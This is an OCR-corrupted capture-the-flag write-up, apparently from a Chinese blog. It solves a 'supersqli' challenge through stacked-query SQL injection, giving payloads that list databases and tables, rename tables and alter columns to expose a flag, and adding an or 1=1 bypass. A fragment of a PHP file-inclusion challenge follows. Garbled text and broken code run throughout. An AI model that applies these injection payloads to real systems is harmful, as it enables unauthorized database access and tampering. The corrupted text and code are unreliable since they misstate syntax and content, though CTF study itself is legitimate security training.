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Can you find out the flag?
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5,f# Fibase64f# 15

flag{a9e354a5-d208-4a6¢-8a36-55e0596¢c34 1e}
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<?php
n 1.

echo "Can you find out the flag?"; KBRS

//flag{a9e354a5-d208-4a6¢c-8a36-55e0596c341e}
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LR | 2 schema=database()# || 1ExrE) |

return preg match(”/select update|delete drop insert|wherel|\./i”, $inject):
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KPlselect, update, delete,.. #iTIE T
2, FrCURA#ESIEN
1’:show databases; (ZHEIEELZ)

array (1) {
[0]=>
string(11) “ctftraining”

}

array (1) {
[0]=>
string (18) “information_schema”

}

array (1) {
[0]=>
string (56) “mysql”

}

array (1) {
[0]=>
string (18) “performance schema”

}

array (1) {
[0]=>
string(9) “supersqli”

}

array (1) {
[0]=>
string (4) “test”
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ko | 0';show tables; #| || 1E3rEE |

array(1) {

[0]=>

string (16) “1919810931114514”
}

array (1) {
[0]=>
string(5) “words”

}
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0’;desc'1919810931114514 #

B 1019810031114514 ;# | 12508

array(6) {
[o]=>
string(4) “flag”
(1]=>
string (12) “varchar (100)”
[2]=>
string (2) “NO”
[3]=>
string(0) 7”7
[4]=>
NULL
[5]=>
string (0) 7"
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eg. mysql> SELECT * FROM table WHERE id =123’;
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&35 1 0";desc words; # ‘ Y= 1) ‘

1 0';desc words;#

array(6) {
[0]=>
string(2) “id”
[1]=>
string(7) “int (10)”
[2]=>
string(2) “N0O”
[3]=>
string(0)
[4]=>
NULL
[5]=>
string(0)
1

2 ”

2 ”

array(6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar(20)”
[2]=>
string(2) “NO”
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4B HIEA)EE T e 2 : selsect id,data from words where id =

FAT AHESEH, XEHMERER T — NS Z KA, EwordskEE s kwords1, ZREHE1919810931114514% Fwords, FEiE
Y| &flagifkid, 454 BRI or 1=1#R R FTE A &5 AT LL & flaghh

payload:

0’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100)
CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
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ZH |OT NULL; desc words; #| 18352

array (6) {
[0]=>
string(2) "id”
[11=>
string(12) “varchar (100)”
[2]=>
string(2) "NO”
[3]=>
string (0) "
[4]=>
NULL
[5]=>
string(0) ””
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2 1 or 1=1# R =550

array (1) {

[ol=>

string(42) “flag{8193fc61-5579-4de7-8a49-852d1a091c95}"
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JF¥. SQLiEAJsql=“select * from user where username="&username&"‘and password=""& password&", 24 41 % 1% &
Bor =142 K%, HEHEA T KpasswordZ T or1'="1, 4, X%SQLIBAFARK T sql="select * from user
where username=""&username&"'and password="or1’="1" SR, 1=1RI1EZ%MH, BRBHEL TEFHEIE.
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<{?php
highlight_file(_ FILE_);
class emmm

{
public static function checkFile (&$page)
{
$whitelist = [“source”=>"source.php”, “hint”=>"hint. php”];
if (! isset($page) lis_string($page)) |

echo “you can't see it”;
return false:

}

if (in_array($page, $whitelist)) |
return true;
}

$ page = mb_substr(

$page,

0?

mb_strpos($page . 7, '?7)
) .

if (in_array($ page, $whitelist)) {
return true;

}

$ page = urldecode($page);
§ page = mb_substr(
$_page, CSDN @+ 24

EFT—2RBERIATeS, MBS T XHLE, REENRB.
B 42— Ncheckfile 3

return true;
echo “you can't see it”;
return false;

if (! empty($_REQUEST[ file'])
& is_string($ REQUEST[ file'])
&& emmm::checkFile (§_REQUEST[ file’])

) |
include § REQUEST[ file’ ];
exit;

} else {

echo “<br>{img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794. jpg\” />”;

>
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